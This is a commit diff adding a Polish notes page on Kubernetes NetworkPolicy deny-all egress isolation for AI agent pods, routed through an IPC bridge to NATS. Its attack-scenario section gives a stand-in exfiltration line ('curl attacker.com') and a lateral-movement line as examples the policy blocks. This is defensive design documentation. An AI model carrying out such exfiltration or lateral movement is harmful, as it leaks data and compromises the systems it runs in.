initial commit
This commit is contained in:
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
76
05-Bezpieczeństwo/NetworkPolicy i izolacja sieciowa.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# NetworkPolicy i izolacja sieciowa
|
||||
|
||||
#sympozium #security #network
|
||||
|
||||
## Zasada
|
||||
|
||||
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
|
||||
|
||||
## Implementacja
|
||||
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: agent-deny-all
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
sympozium.ai/component: agent
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress: [] # DENY ALL
|
||||
```
|
||||
|
||||
## Wyjątki (via SympoziumPolicy)
|
||||
|
||||
```yaml
|
||||
networkPolicy:
|
||||
denyAll: true
|
||||
allowDNS: true # Agent może rozwiązywać nazwy
|
||||
allowEventBus: true # IPC Bridge → NATS
|
||||
allowedEgress: # Whitelist
|
||||
- host: "api.openai.com"
|
||||
port: 443
|
||||
```
|
||||
|
||||
## Dlaczego to ważne?
|
||||
|
||||
### Scenariusz ataku bez NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl attacker.com → exfiltrate data
|
||||
Compromised agent → curl internal-api.svc → lateral movement
|
||||
```
|
||||
|
||||
### Z NetworkPolicy:
|
||||
```
|
||||
Compromised agent → curl anything → BLOCKED
|
||||
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
|
||||
```
|
||||
|
||||
## Architektura izolacji
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Agent Pod (deny-all egress) │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────────┐ │
|
||||
│ │ Agent │ │ IPC Bridge │→→→ NATS │
|
||||
│ │ (no net)│ │ (has net) │ │
|
||||
│ └──────────┘ └──────────────┘ │
|
||||
│ │ │
|
||||
│ └── /ipc/ (filesystem only) ──────┘│
|
||||
└──────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Agent kontener:
|
||||
- Brak dostępu sieciowego
|
||||
- Komunikacja tylko przez filesystem (/ipc/)
|
||||
|
||||
IPC Bridge sidecar:
|
||||
- Ma dostęp TYLKO do NATS
|
||||
- Bridguje filesystem → NATS
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]
|
||||
Reference in New Issue
Block a user